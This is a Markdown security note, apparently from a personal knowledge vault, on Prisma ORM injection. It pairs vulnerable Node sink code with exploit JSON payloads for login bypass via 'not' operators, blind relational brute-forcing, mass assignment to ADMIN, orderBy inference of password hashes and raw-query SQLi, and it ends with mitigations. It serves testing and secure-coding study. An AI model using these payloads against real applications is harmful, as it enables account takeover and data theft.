š§ ORM Injection - Prisma.md
How it works
-
The backend API expects a primitive input (e.g., a username string) via a JSON payload.
-
The developer takes
req.body.usernameand drops it directly into a Prismawhereclause without enforcing strict schema validation (like Zod or Joi). -
The attacker intercepts the request and injects an object containing Prisma operators.
-
Prisma translates this object into an unintended SQL/NoSQL query on the backend.
Indicators
To identify if the backend is using Prisma as their ORM, we can look at the following indicators:
White Box Indicators
If you have the source code, spotting Prisma is straightforward. Look for these structural and codebase artifacts:
-
The Schema File: The definitive fingerprint of Prisma is the
schema.prismafile, usually located in aprisma/directory at the root of the project. It contains the database models, generator definitions, and datasource configurations. -
Dependencies in
package.json: Look for"@prisma/client"in thedependenciesand"prisma"in thedevDependencies. -
Migrations Folder: A
prisma/migrations/directory containing SQL files andmigration_lock.tomlfiles. -
Code Instantiation: Look for the initialization of the Prisma client in the TypeScript/JavaScript files:
import { PrismaClient } from '@prisma/client'
const prisma = new PrismaClient()- Query Syntax: Prismaās API is very distinct. Look for nested objects using methods like
findUnique,findMany,create,update, ordelete, along with its specific payload structures likewhere,data,select, andinclude.
await prisma.user.findUnique({
where: { id: 1 },
include: { posts: true }
})(incomplete) Blackbox Indicators
Exploitation
Prerequisites
- Backend passes user input directly to Prisma functions (
findUnique,findFirst,findMany,update). - Absence of strict input schema validation.
Attack Vectors
1. Type Confusion
Occurs when a filter parameter accepts an object containing logical operators instead of a primitive string/integer. Commonly used to bypass authentication or identity checks.
The Vulnerable Code (Sink):
// The developer expects req.body.username to be a string.
// Because it isn't cast to a String, Prisma accepts an object.
const user = await prisma.user.findFirst({
where: {
username: req.body.username,
password: req.body.password
}
});Exploit Payload:
// POST /api/login
{
"username": { "not": "dummy_value" },
"password": { "not": "dummy_value" }
}
# Result: Logs in as the first user in the database (often admin).2. Blind ORM / Relational Filter Injection
Occurs when the developer passes the entire request body into the where clause, allowing attackers to query related/hidden tables.
The Vulnerable Code (Sink):
// The developer expects req.body to just be {"handle": "target_user"}
app.post('/api/analyst/search', async (req, res) => {
const data = await prisma.analyst.findMany({
where: req.body
});
return res.json(data);
});Exploit Payload:
// Ask the DB: "Does this user have a hidden signal starting with 'a'?"
{
"handle": "quant_sable",
"signals": {
"some": {
"signalHmac": { "startsWith": "a" }
}
}
}
// Result: If the endpoint returns the analyst's public profile, the statement is TRUE. If it returns an empty array [], it is FALSE. Iterate to brute-force data.3. Mass Assignment
Occurs in create or update operations where the application takes a JSON body and maps it directly to the model without an allow-list, permitting the modification of restricted fields.
The Vulnerable Code (Sink):
app.post('/api/profile/update', async (req, res) => {
// SINK: All keys in req.body are written to the database
const updatedUser = await prisma.user.update({
where: { id: req.user.id },
data: req.body
});
});Exploit Payload:
// The normal payload only contains "bio".
// The attacker injects administrative fields.
{
"bio": "Updated bio text",
"role": "ADMIN",
"isVerified": true
}4. Dynamic Identifier Injection
Occurs when user input controls the selection or ordering of data. Developers often perceive these as safe UI configurations rather than dangerous injection sinks.
The Vulnerable Code (Sink):
// The developer allows the frontend to sort the data
const users = await prisma.user.findMany({
orderBy: req.body.sort
});The Exploit Payload:
// If direct data extraction is blocked, sort the public data by a hidden sensitive column.
// By observing the output order, you can infer the value of the hidden hashes.
{
"sort": { "passwordHash": "asc" }
}5. Raw Query / Snippet Injection
Occurs when the developer bypasses the ORMās safety features to write manual SQL using Prismaās āescape hatches.ā
The Vulnerable Code (Sink):
// Vulnerable: Using Unsafe raw queries with string concatenation/template literals
const results = await prisma.$queryRawUnsafe(`SELECT * FROM User WHERE id = ${req.query.id}`);If this is the case then the vulnerability boils down to SQLi, check for other note related to this topic for more.
Mitigation
-
Fix: Implement strict schema validation using Zod, Yup, or Joi on all incoming request bodies. Actively reject object/array inputs for fields that should be primitive strings.
-
Fix: Construct Prisma queries explicitly. Never pass
req.bodydirectly into the ORMāswhereordataclauses.
// SECURE: Explicitly casting to primitives
prisma.user.findFirst({
where: {
username: String(req.body.username),
password: String(req.body.password)
}
});Fix: For raw queries, always use parameterized inputs via prisma.$queryRaw (which uses tagged templates to parameterize), NEVER prisma.$queryRawUnsafe.
Related Usage
TABLE creation_date AS "Created"
FROM "05 - Content"
WHERE contains(techniques, this.file.link) AND contains(tags, "š©")
SORT file.name ASCReferences: